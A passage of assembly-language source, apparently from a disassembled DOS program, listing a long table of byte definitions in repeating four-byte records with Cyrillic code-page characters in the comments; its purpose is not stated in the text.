		db    7	;  
		db  8Ah	; ┼
		db  4Dh	; M
		db    1	;  
		db    1	;  
		db  8Ah	; ┼
		db  4Dh	; M
		db    1	;  
		db  17h	;  
		db  8Ah	; ┼
		db  4Dh	; M
		db    5	;  
		db    6	;  
		db  8Ah	; ┼
		db  4Eh	; N
		db    1	;  
		db    2	;  
		db  8Ah	; ┼
		db  4Fh	; O
		db  80h	; ─
		db  0Ah	;  
		db  8Ah	; ┼
		db  50h	; P
		db  80h	; ─
		db    3	;  
		db  8Ah	; ┼
		db  56h	; V
		db    3	;  
		db  0Ah	;  
		db  8Ah	; ┼
		db  56h	; V
		db    3	;  
		db    3	;  
		db  8Ah	; ┼
		db  57h	; W
		db  6Eh	; n
		db    1	;  
		db  8Ah	; ┼
		db  57h	; W
		db    4	;  
		db    1	;  
		db  8Ah	; ┼
		db    9	;  
		db    1	;  
		db    1	;  
		db  8Ah	; ┼
		db  5Ah	; Z
		db    1	;  
		db  5Bh	; [
		db  8Bh	; ▀
		db    1	;  
		db  2Ch	; ,
		db    2	;  
		db  8Bh	; ▀
		db  67h	; g
		db    2	;  
		db    3	;  
		db  8Bh	; ▀
		db  67h	; g
		db    2	;  
		db    5	;  
		db  8Bh	; ▀
		db  0Bh	;  
		db  0Ah	;  
		db  0Ah	;  
		db  8Bh	; ▀
		db  75h	; u
		db    1	;  
		db    2	;  
		db  8Bh	; ▀
		db  75h	; u
		db    1	;  
		db    4	;  
		db  8Bh	; ▀
		db  75h	; u
		db    8	;  
		db  11h	;  
		db  8Bh	; ▀
		db  79h	; y
		db  10h	;  
		db  68h	; h
		db  8Bh	; ▀
		db  7Ch	; |
		db    1	;  
		db    2	;  
		db  8Bh	; ▀
		db  7Fh	; 
		db    8	;  
		db  7Bh	; {
		db  8Bh	; ▀
		db  7Fh	; 
		db    8	;  
		db  7Ch	; |
		db  8Bh	; ▀
		db  80h	; ─
		db  12h	;  
		db    2	;  
		db  8Bh	; ▀
		db  0Dh	;  
		db  39h	; 9
		db  84h	; └
		db  8Bh	; ▀
		db  82h	; ┌
		db    4	;  
		db    5	;  
		db  8Bh	; ▀
		db  83h	; ┐
		db  64h	; d
		db  26h	; &
		db  8Bh	; ▀
		db  84h	; └
		db    1	;  
		db    4	;  
		db  8Bh	; ▀
		db  85h	; ┘
		db    7	;  
		db  18h	;  
		db  8Bh	; ▀
		db  85h	; ┘
		db    7	;  
		db  1Ch	;  
		db  8Bh	; ▀
		db  86h	; ├
		db    2	;  
		db  12h	;  
		db  8Bh	; ▀
		db  86h	; ├
		db    2	;  
		db    2	;  
		db  8Bh	; ▀
		db  89h	; ┴
		db    4	;  
		db    1	;  
		db  8Bh	; ▀
		db  89h	; ┴
		db    4	;  
		db    3	;  
		db  8Bh	; ▀
		db  0Eh	;  
		db    1	;  
		db  63h	; c
		db  8Bh	; ▀
		db  8Ch	; ▄
		db    1	;  
		db    1	;  
		db  8Bh	; ▀
		db  8Ch	; ▄
		db  0Eh	;  
		db  21h	; !
		db  8Bh	; ▀
		db  8Dh	; █
		db    1	;  
		db    1	;  
		db  8Bh	; ▀
		db  8Dh	; █
		db  83h	; ┐
		db    4	;  
		db  8Bh	; ▀
		db  8Dh	; █
		db 0C7h	; г
		db    3	;  
		db  8Bh	; ▀
		db  8Dh	; █
		db 0C7h	; г
		db    4	;  
		db  8Bh	; ▀
		db  8Dh	; █
		db 0E5h	; Е
		db  63h	; c
		db  8Bh	; ▀
		db  8Dh	; █
		db    4	;  
		db  7Eh	; ~
		db  8Bh	; ▀
		db  8Dh	; █
		db    5	;  
		db  7Dh	; }
		db  8Bh	; ▀
		db  8Eh	; ▌
		db    2	;  
		db    2	;  
		db  8Bh	; ▀
		db  8Eh	; ▌
		db    2	;  
		db    3	;  
		db  8Bh	; ▀
		db  8Fh	; ▐
		db    5	;  
		db    1	;  
		db  8Bh	; ▀
		db  8Fh	; ▐
		db    5	;  
		db    2	;  
		db  8Bh	; ▀
		db  90h	; ░
		db    1	;  
		db    8	;  
		db  8Bh	; ▀
		db  92h	; ▓
		db  2Ah	; *
		db  2Ah	; *
		db  8Bh	; ▀
		db  98h	; ≤
		db    1	;  
		db    1	;  
		db  8Bh	; ▀
		db  99h	; ≥
		db  64h	; d
		db    7	;  
		db  8Bh	; ▀
		db  99h	; ≥
		db  0Dh	;  
		db 0C8h	; х
		db  8Bh	; ▀
		db 0A3h	; ё
		db  12h	;  
		db  1Eh	;  
		db  8Bh	; ▀
		db 0A3h	; ё
		db  53h	; S
		db  33h	; 3
		db  8Bh	; ▀
		db 0A5h	; ╔
		db  19h	;  
		db  33h	; 3
		db  8Bh	; ▀
		db 0A5h	; ╔
		db  20h	;  
		db  0Dh	;  
		db  8Bh	; ▀
		db 0A5h	; ╔
		db    6	;  
		db  14h	;  
		db  8Bh	; ▀
		db 0A5h	; ╔
		db  60h	; `
		db  0Ah	;  
		db  8Bh	; ▀
		db 0A9h	; ╘
		db 0A0h	; ═
		db    2	;  
		db  8Bh	; ▀
		db  11h	;  
		db    1	;  
		db    2	;  
		db  8Bh	; ▀
		db  11h	;  
		db    1	;  
		db    7	;  
		db  8Bh	; ▀
		db  11h	;  
		db  80h	; ─
		db  0Ah	;  
		db  8Bh	; ▀
		db 0AEh	; ў
		db    2	;  
		db    5	;  
		db  8Bh	; ▀
		db 0AEh	; ў
		db    2	;  
		db    6	;  
		db  8Bh	; ▀
		db 0AFh	; ╞
		db  0Ah	;  
		db  14h	;  
		db  8Bh	; ▀
		db 0AFh	; ╞
		db  96h	; √
		db  14h	;  
		db  8Bh	; ▀
		db 0AFh	; ╞
		db 0FCh	; Э
		db  10h	;  
		db  8Bh	; ▀
		db 0AFh	; ╞
		db  37h	; 7
		db 0F4h	; Т
		db  8Bh	; ▀
		db 0B1h	; ╠
		db 0E0h	; Ю
		db  4Fh	; O
		db  8Bh	; ▀
		db 0B1h	; ╠
		db 0E0h	; Ю
		db  50h	; P
		db  8Bh	; ▀
		db 0B3h	; Ё
		db  0Ah	;  
		db  0Dh	;  
		db  8Bh	; ▀
		db  12h	;  
		db    1	;  
		db    2	;  
		db  8Bh	; ▀
		db  12h	;  
		db  19h	;  
		db    3	;  
		db  8Bh	; ▀
		db 0B4h	; Є
		db 0AAh	; ╙
		db    2	;  
		db  8Bh	; ▀
		db 0B4h	; Є
		db 0AAh	; ╙
		db    3	;  
		db  8Bh	; ▀
		db 0B5h	; ╣
		db    3	;  
		db  22h	; "
		db  8Bh	; ▀
		db 0B5h	; ╣
		db    6	;  
		db  19h	;  
		db  8Bh	; ▀
		db 0B6h	; І
		db    2	;  
		db    1	;  
		db  8Bh	; ▀
		db 0B6h	; І
		db    2	;  
		db    6	;  
		db  8Bh	; ▀
		db 0B8h	; ╦
		db  0Eh	;  
		db  0Ch	;  
		db  8Bh	; ▀
		db 0B8h	; ╦
		db  20h	;  
		db  1Bh	;  
		db  8Bh	; ▀
		db 0B8h	; ╦
		db  2Ah	; *
		db  32h	; 2
		db  8Bh	; ▀
		db  13h	;  
		db    1	;  
		db    1	;  
		db  8Bh	; ▀
		db 0BFh	; ©
		db    1	;  
		db  92h	; ▓
		db  8Bh	; ▀
		db  14h	;  
		db  40h	; @
		db    1	;  
		db  8Bh	; ▀
		db  14h	;  
		db  40h	; @
		db    2	;  
		db  8Bh	; ▀
		db 0DEh	; ч
		db    1	;  
		db    5	;  
		db  8Bh	; ▀
		db 0DEh	; ч
		db  82h	; ┌
		db    1	;  
		db  8Bh	; ▀
		db 0DFh	; ъ
		db    2	;  
		db  88h	; ┬
		db  8Bh	; ▀
		db 0DFh	; ъ
		db    2	;  
		db  10h	;  
		db  8Bh	; ▀
		db 0E1h	; А
		db  80h	; ─
		db    2	;  
		db  8Bh	; ▀
		db 0E6h	; Ф
		db  80h	; ─
		db    5	;  
		db  8Bh	; ▀
		db  1Ch	;  
		db  3Ch	; <
		db  0Bh	;  
		db  8Bh	; ▀
		db    3	;  
		db  3Fh	; ?
		db    1	;  
		db  8Bh	; ▀
		db  1Eh	;  
		db    8	;  
		db    7	;  
		db  8Bh	; ▀
		db  1Eh	;  
		db    8	;  
		db    8	;  
		db  8Bh	; ▀
		db  2Fh	; /
		db  30h	; 0
		db  35h	; 5
		db  8Bh	; ▀
		db  30h	; 0
		db 0D8h	; ь
		db  64h	; d
		db  8Bh	; ▀
		db  30h	; 0
		db 0D8h	; ь
		db  63h	; c
		db  8Bh	; ▀
		db  33h	; 3
		db 0BFh	; ©
		db    1	;  
		db  8Bh	; ▀
		db  33h	; 3
		db    9	;  
		db    1	;  
		db  8Bh	; ▀
		db  39h	; 9
		db  10h	;  
		db    2	;  
		db  8Bh	; ▀
		db  39h	; 9
		db  20h	;  
		db  0Ah	;  
		db  8Bh	; ▀
		db  3Ah	; :
		db 0E6h	; Ф
		db  0Ah	;  
		db  8Bh	; ▀
		db  3Bh	; ;
		db    1	;  
		db  18h	;  
		db  8Bh	; ▀
		db    6	;  
		db    1	;  
		db    2	;  
		db  8Bh	; ▀
		db    6	;  
		db    1	;  
		db  42h	; B
		db  8Bh	; ▀
		db  3Ch	; <
		db 0D2h	; р
		db    2	;  
		db  8Bh	; ▀
		db  3Eh	; >
		db 0C8h	; х
		db 0C6h	; ф
		db  8Bh	; ▀
		db  3Eh	; >
		db 0C8h	; х
		db 0C7h	; г
		db  8Bh	; ▀
		db  3Fh	; ?
		db 0C0h	; ю
		db    5	;  
		db  8Bh	; ▀
		db  43h	; C
		db    8	;  
		db    3	;  
		db  8Bh	; ▀
		db  45h	; E
		db  6Dh	; m
		db    7	;  
		db  8Bh	; ▀
		db    7	;  
		db  1Eh	;  
		db  7Dh	; }
		db  8Bh	; ▀
		db    7	;  
		db  1Eh	;  
		db  7Eh	; ~
		db  8Bh	; ▀
		db  46h	; F
		db    2	;  
		db  6Fh	; o
		db  8Bh	; ▀
		db  48h	; H
		db 0BEh	; Ў
		db  1Ch	;  
		db  8Bh	; ▀
		db  49h	; I
		db    4	;  
		db    4	;  
		db  8Bh	; ▀
		db  4Bh	; K
		db    1	;  
		db    1	;  
		db  8Bh	; ▀
		db  4Bh	; K
		db    1	;  
		db    2	;  
		db  8Bh	; ▀
		db  4Ch	; L
		db  40h	; @
		db    6	;  
		db  8Bh	; ▀
		db  4Ch	; L
		db  40h	; @
		db    7	;  
		db  8Bh	; ▀
		db  4Eh	; N
		db  64h	; d
		db    1	;  
		db  8Bh	; ▀
		db  4Eh	; N
		db 0C8h	; х
		db    1	;  
		db  8Bh	; ▀
		db  4Fh	; O
		db  6Ah	; j
		db    3	;  
		db  8Bh	; ▀
		db  50h	; P
		db  40h	; @
		db    1	;  
		db  8Bh	; ▀
		db  52h	; R
		db    1	;  
		db    2	;  
		db  8Bh	; ▀
		db  52h	; R
		db  10h	;  
		db    3	;  
		db  8Bh	; ▀
		db  54h	; T
		db  0Ah	;  
		db 0D2h	; р
		db  8Bh	; ▀
		db  5Bh	; [
		db    1	;  
		db    1	;  
		db  8Bh	; ▀
		db  5Bh	; [
		db 0BFh	; ©
		db    3	;  
		db  8Bh	; ▀
		db  5Dh	; ]
		db  81h	; │
		db    3	;  
		db  8Bh	; ▀
		db  5Dh	; ]
		db  81h	; │
		db    4	;  
		db  8Bh	; ▀
		db  5Fh	; _
		db 0FBh	; Ш
		db    1	;  
		db  8Ch	; ▄
		db  66h	; f
		db    2	;  
		db    1	;  
		db  8Ch	; ▄
		db  67h	; g
		db  1Dh	;  
		db    3	;  
		db  8Ch	; ▄
		db  68h	; h
		db    1	;  
		db    1	;  
		db  8Ch	; ▄
		db  69h	; i
		db    6	;  
		db  64h	; d
		db  8Ch	; ▄
		db  6Bh	; k
		db  34h	; 4
		db  0Bh	;  
		db  8Ch	; ▄
		db  6Bh	; k
		db  58h	; X
		db  0Bh	;  
		db  8Ch	; ▄
		db  6Bh	; k
		db  5Ch	; \
		db  0Bh	;  
		db  8Ch	; ▄
		db  6Dh	; m
		db    1	;  
		db  0Ah	;  
		db  8Ch	; ▄
		db  6Eh	; n
		db  10h	;  
		db    1	;  
		db  8Ch	; ▄
		db  6Eh	; n
		db    4	;  
		db    1	;  
		db  8Ch	; ▄
		db  6Eh	; n
		db  3Ch	; <
		db    1	;  
		db  8Ch	; ▄
		db  6Fh	; o
		db    1	;  
		db    2	;  
		db  8Ch	; ▄
		db  6Fh	; o
		db    1	;  
		db  14h	;  
		db  8Ch	; ▄
		db  6Fh	; o
		db  5Fh	; _
		db    1	;  
		db  8Ch	; ▄
		db  70h	; p
		db 0FEh	; Ч
		db    2	;  
		db  8Ch	; ▄
		db  70h	; p
		db 0FEh	; Ч
		db    4	;  
		db  8Ch	; ▄
		db  71h	; q
		db    1	;  
		db    1	;  
		db  8Ch	; ▄
		db  72h	; r
		db  40h	; @
		db  0Ah	;  
		db  8Ch	; ▄
		db  72h	; r
		db  57h	; W
		db    1	;  
		db  8Ch	; ▄
		db  73h	; s
		db    1	;  
		db  1Fh	;  
		db  8Ch	; ▄
		db  76h	; v
		db  1Fh	;  
		db  63h	; c
		db  8Ch	; ▄
		db  77h	; w
		db    1	;  
		db  6Eh	; n
		db  8Ch	; ▄
		db  78h	; x
		db    1	;  
		db    2	;  
		db  8Ch	; ▄
		db  78h	; x
		db    1	;  
		db  15h	;  
		db  8Ch	; ▄
		db  7Ah	; z
		db  41h	; A
		db    9	;  
		db  8Ch	; ▄
		db  7Bh	; {
		db    2	;  
		db    5	;  
		db  8Ch	; ▄
		db  7Ch	; |
		db  0Dh	;  
		db    2	;  
		db  8Ch	; ▄
		db  7Fh	; 
		db    1	;  
		db    2	;  
		db  8Ch	; ▄
		db  82h	; ┌
		db  51h	; Q
		db  0Bh	;  
		db  8Ch	; ▄
		db  84h	; └
		db    1	;  
		db 0C9h	; и
		db  8Ch	; ▄
		db  84h	; └
		db    3	;  
		db 0C9h	; и
		db  8Ch	; ▄
		db  86h	; ├
		db    4	;  
		db    1	;  
		db  8Ch	; ▄
		db  87h	; ┤
		db  12h	;  
		db  0Fh	;  
		db  8Ch	; ▄
		db  88h	; ┬
		db 0F7h	; В
		db 0FBh	; Ш
		db  8Ch	; ▄
		db  88h	; ┬
		db 0F7h	; В
		db 0FCh	; Э
		db  8Ch	; ▄
		db  89h	; ┴
		db    1	;  
		db    8	;  
		db  8Ch	; ▄
		db  8Ah	; ┼
		db    2	;  
		db  64h	; d
		db  8Ch	; ▄
		db  8Ah	; ┼
		db    4	;  
		db  64h	; d
		db  8Ch	; ▄
		db  8Ch	; ▄
		db  3Ah	; :
		db    3	;  
		db  8Ch	; ▄
		db  8Dh	; █
		db    2	;  
		db    2	;  
		db  8Ch	; ▄
		db  8Eh	; ▌
		db    5	;  
		db  0Dh	;  
		db  8Ch	; ▄
		db  8Eh	; ▌
		db    5	;  
		db    5	;  
		db  8Ch	; ▄
		db  90h	; ░
		db 0CCh	; л
		db  14h	;  
		db  8Ch	; ▄
		db  92h	; ▓
		db  80h	; ─
		db  28h	; (
		db  8Ch	; ▄
		db  93h	; ⌠
		db    2	;  
		db  0Ch	;  
		db  8Ch	; ▄
		db  94h	; ■
		db    5	;  
		db 0FAh	; З
		db  8Ch	; ▄
		db  94h	; ■
		db    7	;  
		db    1	;  
		db  8Ch	; ▄
		db  94h	; ■
		db    7	;  
		db 0ACh	; ╛
		db  8Ch	; ▄
		db  96h	; √
		db  5Dh	; ]
		db  0Ch	;  
		db  8Ch	; ▄
		db  99h	; ≥
		db  2Bh	; +
		db  2Ch	; ,
		db  8Ch	; ▄
		db  9Dh	; ²
		db  40h	; @
		db 0B6h	; І
		db  8Ch	; ▄
		db  9Eh	; ·
		db  40h	; @
		db 0C7h	; г
		db  8Ch	; ▄
		db  9Eh	; ·
		db  40h	; @
		db 0C8h	; х
		db  8Ch	; ▄
		db  9Fh	; ÷
		db  1Eh	;  
		db  0Ch	;  
		db  8Ch	; ▄
		db  9Fh	; ÷
		db  41h	; A
		db    1	;  
		db  8Ch	; ▄
		db 0A0h	; ═
		db 0F0h	; П
		db  0Ch	;  
		db  8Ch	; ▄
		db 0A0h	; ═
		db 0F2h	; Р
		db  0Dh	;  
		db  8Ch	; ▄
		db 0A1h	; ║
		db    2	;  
		db    2	;  
		db  8Ch	; ▄
		db 0A1h	; ║
		db    2	;  
		db    8	;  
		db  8Ch	; ▄
		db 0A3h	; ё
		db    9	;  
		db 0FEh	; Ч
		db  8Ch	; ▄
		db 0A4h	; є
		db    1	;  
		db    1	;  
		db  8Ch	; ▄
		db 0A4h	; є
		db    1	;  
		db    2	;  
		db  8Ch	; ▄
		db 0A5h	; ╔
		db    2	;  
		db  63h	; c
		db  8Ch	; ▄
		db 0A9h	; ╘
		db    1	;  
		db  14h	;  
		db  8Ch	; ▄
		db 0A9h	; ╘
		db  24h	; $
		db  0Fh	;  
		db  8Ch	; ▄
		db 0ACh	; ╛
		db  0Ah	;  
		db    9	;  
		db  8Ch	; ▄
		db 0ACh	; ╛
		db 0FEh	; Ч
		db  0Ah	;  
		db  8Ch	; ▄
		db 0ACh	; ╛
		db    6	;  
		db    2	;  
		db  8Ch	; ▄
		db 0AEh	; ў
		db  4Dh	; M
		db  14h	;  
		db  8Ch	; ▄
		db 0AFh	; ╞
		db 0D6h	; ж
		db  0Bh	;  
		db  8Ch	; ▄
		db 0AFh	; ╞
		db 0D6h	; ж
		db  0Ch	;  
		db  8Ch	; ▄
		db 0AFh	; ╞
		db 0D6h	; ж
		db  0Dh	;  
		db  8Ch	; ▄
		db 0AFh	; ╞
		db 0D6h	; ж
		db  15h	;  
		db  8Ch	; ▄
		db 0B1h	; ╠
		db  0Ah	;  
		db  0Ch	;  
		db  8Ch	; ▄
		db 0B2h	; ╡
		db  21h	; !
		db  25h	; %
		db  8Ch	; ▄
		db 0B2h	; ╡
		db  21h	; !
		db  26h	; &
		db  8Ch	; ▄
		db 0B3h	; Ё
		db 0B0h	; ╟
		db 0FEh	; Ч
		db  8Ch	; ▄
		db 0B5h	; ╣
		db  60h	; `
		db  0Bh	;  
		db  8Ch	; ▄
		db 0B7h	; Ї
		db  53h	; S
		db  7Eh	; ~
		db  8Ch	; ▄
		db 0B8h	; ╦
		db    1	;  
		db    1	;  
		db  8Ch	; ▄
		db 0B9h	; ╧
		db  1Ch	;  
		db  2Dh	; -
		db  8Ch	; ▄
		db 0B9h	; ╧
		db  1Ch	;  
		db  2Eh	; .
		db  8Ch	; ▄
		db 0BAh	; ╨
		db    1	;  
		db  0Eh	;  
		db  8Ch	; ▄
		db 0BAh	; ╨
		db    1	;  
		db    4	;  
		db  8Ch	; ▄
		db 0BCh	; ╪
		db  40h	; @
		db  99h	; ≥
		db  8Ch	; ▄
		db 0BCh	; ╪
		db  40h	; @
		db    4	;  
		db  8Ch	; ▄
		db 0BEh	; Ў
		db  80h	; ─
		db    2	;  
		db  8Ch	; ▄
		db 0C0h	; ю
		db    1	;  
		db  32h	; 2
		db  8Ch	; ▄
		db 0C0h	; ю
		db    8	;  
		db 0FAh	; З
		db  8Ch	; ▄
		db 0C3h	; ц
		db    1	;  
		db    1	;  
		db  8Ch	; ▄
		db 0C3h	; ц
		db    1	;  
		db  69h	; i
		db  8Ch	; ▄
		db 0C6h	; ф
		db    8	;  
		db  0Fh	;  
		db  8Ch	; ▄
		db 0CBh	; к
		db    7	;  
		db 0BAh	; ╨
		db  8Ch	; ▄
		db 0CBh	; к
		db    9	;  
		db    1	;  
		db  8Ch	; ▄
		db 0D0h	; п
		db    1	;  
		db    9	;  
		db  8Ch	; ▄
		db 0D1h	; я
		db    1	;  
		db    5	;  
		db  8Ch	; ▄
		db 0D3h	; с
		db  0Ah	;  
		db  14h	;  
		db  8Ch	; ▄
		db 0DCh	; э
		db    1	;  
		db    1	;  
		db  8Ch	; ▄
		db 0DDh	; щ
		db    9	;  
		db    6	;  
		db  8Ch	; ▄
		db 0E4h	; Д
		db  0Ah	;  
		db    1	;  
		db  8Ch	; ▄
		db 0E6h	; Ф
		db    5	;  
		db  4Ch	; L
		db  8Ch	; ▄
		db 0E8h	; Х
		db    1	;  
		db    5	;  
		db  8Ch	; ▄
		db 0E9h	; И
		db    1	;  
		db    4	;  
		db  8Ch	; ▄
		db 0E9h	; И
		db    2	;  
		db 0CCh	; л
		db  8Ch	; ▄
		db 0EAh	; Й
		db    1	;  
		db    1	;  
		db  8Ch	; ▄
		db 0EDh	; М
		db  3Eh	; >
		db  0Ah	;  
		db  8Ch	; ▄
		db 0EDh	; М
		db  3Eh	; >
		db  0Bh	;  
		db  8Ch	; ▄
		db 0EFh	; О
		db  8Ch	; ▄
		db 0EFh	; О
		db  8Ch	; ▄
		db 0F2h	; Р
		db    1	;  
		db    1	;  
		db  8Ch	; ▄
		db 0F3h	; С
		db  66h	; f
		db  0Fh	;  
		db  8Ch	; ▄
		db 0F3h	; С
		db  66h	; f
		db  10h	;  
		db  8Ch	; ▄
		db 0F4h	; Т
		db    1	;  
		db  45h	; E
		db  8Ch	; ▄
		db 0F4h	; Т
		db    2	;  
		db  22h	; "
		db  8Ch	; ▄
		db 0FBh	; Ш
		db  9Bh	; ⌡
		db  10h	;  
		db  8Ch	; ▄
		db 0FBh	; Ш
		db    2	;  
		db  12h	;  
		db  8Ch	; ▄
		db 0FCh	; Э
		db    1	;  
		db  36h	; 6
		db  8Ch	; ▄
		db 0FDh	; Щ
		db  7Ah	; z
		db    8	;  
		db  8Ch	; ▄
		db  20h	;  
		db  84h	; └
		db  42h	; B
		db  8Ch	; ▄
		db  4Ch	; L
		db 0CCh	; л
		db  33h	; 3
		db  8Ch	; ▄
		db  4Dh	; M
		db    1	;  
		db 0B7h	; Ї
		db  8Ch	; ▄
		db  4Dh	; M
		db    1	;  
		db  20h	;  
		db  8Ch	; ▄
		db  4Eh	; N
		db    2	;  
		db  3Eh	; >
		db  8Ch	; ▄
		db  4Eh	; N
		db    3	;  
		db  3Eh	; >
		db  8Ch	; ▄
		db  4Fh	; O
		db    2	;  
		db    8	;  
		db  8Ch	; ▄
		db  50h	; P
		db 0C1h	; а
		db  82h	; ┌
		db  8Ch	; ▄
		db  58h	; X
		db  80h	; ─
		db    1	;  
		db  8Ch	; ▄
		db  5Ah	; Z
		db 0E7h	; Г
		db  13h	;  
		db  8Ch	; ▄
		db  5Dh	; ]
		db    0	;  
		db  0Ch	;  
		db  8Ch	; ▄
		db  5Dh	; ]
		db    0	;  
		db  0Fh	;  
		db  8Ch	; ▄
		db  5Eh	; ^
		db  52h	; R
		db  0Dh	;  
		db  8Ch	; ▄
		db  5Eh	; ^
		db  52h	; R
		db  0Eh	;  
		db  8Ch	; ▄
		db  61h	; a
		db    4	;  
		db  0Ch	;  
		db  8Ch	; ▄
		db  61h	; a
		db    4	;  
		db  0Dh	;  
		db  8Ch	; ▄
		db  63h	; c
		db    0	;  
		db    2	;  
		db  8Ch	; ▄
		db  63h	; c
		db    1	;  
		db    2	;  
		db  8Dh	; █
		db    1	;  
		db    1	;  
		db    1	;  
		db  8Dh	; █
		db  64h	; d
		db  0Ah	;  
		db  14h	;  
		db  8Dh	; █
		db  64h	; d
		db  0Fh	;  
		db  32h	; 2
		db  8Dh	; █
		db  68h	; h
		db  96h	; √
		db 0FBh	; Ш
		db  8Dh	; █
		db  6Ch	; l
		db    5	;  
		db    3	;  
		db  8Dh	; █
		db  0Bh	;  
		db 0EAh	; Й
		db  43h	; C
		db  8Dh	; █
		db  0Bh	;  
		db 0EAh	; Й
		db  44h	; D
		db  8Dh	; █
		db  70h	; p
		db    4	;  
		db  5Ah	; Z
		db  8Dh	; █
		db  73h	; s
		db    4	;  
		db    5	;  
		db  8Dh	; █
		db  75h	; u
		db  64h	; d
		db    1	;  
		db  8Dh	; █
		db  75h	; u
		db  64h	; d
		db    4	;  
		db  8Dh	; █
		db  0Ch	;  
		db  23h	; #
		db    9	;  
		db  8Dh	; █
		db  0Ch	;  
		db  3Eh	; >
		db  1Ah	;  
		db  8Dh	; █
		db  78h	; x
		db    8	;  
		db    2	;  
		db  8Dh	; █
		db  78h	; x
		db    8	;  
		db    3	;  
		db  8Dh	; █
		db  7Ah	; z
		db  10h	;  
		db  72h	; r
		db  8Dh	; █
		db  7Bh	; {
		db  64h	; d
		db    4	;  
		db  8Dh	; █
		db  7Bh	; {
		db  6Eh	; n
		db    4	;  
		db  8Dh	; █
		db  7Fh	; 
		db    2	;  
		db    8	;  
		db  8Dh	; █
		db  81h	; │
		db    1	;  
		db    4	;  
		db  8Dh	; █
		db  0Dh	;  
		db 0D2h	; р
		db    2	;  
		db  8Dh	; █
		db  0Dh	;  
		db 0FAh	; З
		db    2	;  
		db  8Dh	; █
		db  82h	; ┌
		db 0FAh	; З
		db  11h	;  
		db  8Dh	; █
		db  83h	; ┐
		db  80h	; ─
		db  1Ch	;  
		db  8Dh	; █
		db  83h	; ┐
		db    3	;  
		db  1Ch	;  
		db  8Dh	; █
		db  84h	; └
		db    4	;  
		db    2	;  
		db  8Dh	; █
		db  0Eh	;  
		db  80h	; ─
		db    1	;  
		db  8Dh	; █
		db  8Ch	; ▄
		db    1	;  
		db    2	;  
		db  8Dh	; █
		db  8Eh	; ▌
		db    2	;  
		db    2	;  
		db  8Dh	; █
		db  0Fh	;  
		db    3	;  
		db    1	;  
		db  8Dh	; █
		db  96h	; √
		db    0	;  
		db  44h	; D
		db  8Dh	; █
		db  97h	; ≈
		db    0	;  
		db  44h	; D
		db  8Dh	; █
		db  97h	; ≈
		db  80h	; ─
		db  44h	; D
		db  8Dh	; █
		db  97h	; ≈
		db  99h	; ≥
		db  5Eh	; ^
		db  8Dh	; █
		db  9Ah	;  
		db    0	;  
		db  44h	; D
		db  8Dh	; █
		db  9Bh	; ⌡
		db    0	;  
		db  44h	; D
		db  8Dh	; █
		db  9Bh	; ⌡
		db  46h	; F
		db  23h	; #
		db  8Dh	; █
		db  10h	;  
		db 0F4h	; Т
		db    4	;  
		db  8Dh	; █
		db 0A1h	; ║
		db  64h	; d
		db 0C9h	; и
		db  8Dh	; █
		db 0A2h	; ╒
		db  65h	; e
		db 0FBh	; Ш
		db  8Dh	; █
		db 0A3h	; ё
		db    1	;  
		db 0FAh	; З
		db  8Dh	; █
		db 0A4h	; є
		db  64h	; d
		db    7	;  
		db  8Dh	; █
		db 0A4h	; є
		db  18h	;  
		db 0D9h	; ы
		db  8Dh	; █
		db 0A5h	; ╔
		db    1	;  
		db  0Ah	;  
		db  8Dh	; █
		db 0A5h	; ╔
		db    1	;  
		db    9	;  
		db  8Dh	; █
		db 0A6h	; і
		db 0BCh	; ╪
		db    7	;  
		db  8Dh	; █
		db 0A7h	; ї
		db  2Ch	; ,
		db  33h	; 3
		db  8Dh	; █
		db 0A7h	; ї
		db  2Ch	; ,
		db  34h	; 4
		db  8Dh	; █
		db 0AEh	; ў
		db  5Fh	; _
		db    5	;  
		db  8Dh	; █
		db 0AEh	; ў
		db  5Fh	; _
		db    7	;  
		db  8Dh	; █
		db 0B0h	; ╟
		db  1Fh	;  
		db    1	;  
		db  8Dh	; █
		db  12h	;  
		db    1	;  
		db  0Bh	;  
		db  8Dh	; █
		db  12h	;  
		db    1	;  
		db  0Ch	;  
		db  8Dh	; █
		db 0BBh	; ╩
		db  21h	; !
		db  50h	; P
		db  8Dh	; █
		db  13h	;  
		db    1	;  
		db  4Bh	; K
		db  8Dh	; █
		db 0C3h	; ц
		db    5	;  
		db 0C8h	; х
		db  8Dh	; █
		db 0C6h	; ф
		db  80h	; ─
		db    9	;  
		db  8Dh	; █
		db 0C6h	; ф
		db  88h	; ┬
		db    6	;  
		db  8Dh	; █
		db 0C7h	; г
		db  0Fh	;  
		db  0Eh	;  
		db  8Dh	; █
		db 0C7h	; г
		db  0Fh	;  
		db    5	;  
		db  8Dh	; █
		db    2	;  
		db    1	;  
		db    1	;  
		db  8Dh	; █
		db    2	;  
		db  16h	;  
		db  4Ah	; J
		db  8Dh	; █
		db  14h	;  
		db    1	;  
		db  1Fh	;  
		db  8Dh	; █
		db 0C9h	; и
		db    1	;  
		db    3	;  
		db  8Dh	; █
		db 0C9h	; и
		db    1	;  
		db    6	;  
		db  8Dh	; █
		db 0CAh	; й
		db 0F8h	; Ь
		db  1Fh	;  
		db  8Dh	; █
		db 0CAh	; й
		db 0F8h	; Ь
		db  20h	;  
		db  8Dh	; █
		db 0CBh	; к
		db 0FEh	; Ч
		db  0Ch	;  
		db  8Dh	; █
		db 0D1h	; я
		db    1	;  
		db  16h	;  
		db  8Dh	; █
		db  15h	;  
		db    4	;  
		db    3	;  
		db  8Dh	; █
		db 0D2h	; р
		db  0Ah	;  
		db  0Fh	;  
		db  8Dh	; █
		db 0D2h	; р
		db  0Ah	;  
		db  19h	;  
		db  8Dh	; █
		db 0D3h	; с
		db  7Dh	; }
		db  0Fh	;  
		db  8Dh	; █
		db 0D3h	; с
		db  90h	; ░
		db  0Fh	;  
		db  8Dh	; █
		db 0D3h	; с
		db  4Bh	; K
		db 0F8h	; Ь
		db  8Dh	; █
		db 0D4h	; т
		db    2	;  
		db  45h	; E
		db  8Dh	; █
		db 0D4h	; т
		db    2	;  
		db  51h	; Q
		db  8Dh	; █
		db 0D6h	; ж
		db 0FCh	; Э
		db  90h	; ░
		db  8Dh	; █
		db 0D7h	; в
		db  45h	; E
		db    3	;  
		db  8Dh	; █
		db 0D8h	; ь
		db    1	;  
		db    3	;  
		db  8Dh	; █
		db 0D9h	; ы
		db    1	;  
		db  0Dh	;  
		db  8Dh	; █
		db 0D9h	; ы
		db    1	;  
		db  0Fh	;  
		db  8Dh	; █
		db 0D9h	; ы
		db  10h	;  
		db  0Bh	;  
		db  8Dh	; █
		db 0DAh	; з
		db    1	;  
		db  64h	; d
		db  8Dh	; █
		db 0DAh	; з
		db    1	;  
		db  68h	; h
		db  8Dh	; █
